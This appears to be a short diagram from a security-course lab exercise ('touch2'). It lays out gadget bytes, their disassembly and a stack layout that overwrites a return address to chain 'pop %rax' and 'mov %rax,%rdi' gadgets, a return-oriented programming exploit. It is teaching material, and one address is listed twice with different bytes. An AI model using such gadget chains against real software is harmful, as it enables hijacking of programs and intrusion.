

# Memory

Address	Byte	Interpreted instruction
0x4026cc	...	...
...	...	...
0x4028e5	0xb8	?
0x4028e6	0x75	?
0x4028e7	0x48	mov %rax,%rdi
0x4028e8	0x89	
0x4028e9	0xc7	
0x4028ea	0xc3	ret
...	...	...
0x4028cf	0xc7	?
0x4028d0	0x07	?
0x4028d1	0xa1	?
0x4028d2	0x58	pop %rax
0x4028d3	0xc3	ret
0x4028d3	0x0a	?

} Start of touch2

}  
mov  
\$0xc7894875,  
%eax

}  
movl  
\$0xac358a1,  
(%rdi)

## Stack

...
0x4026cc
0x4028e7
0x5d21660e
(return addr.) 0x4028d2
(exploited stack frame)
...

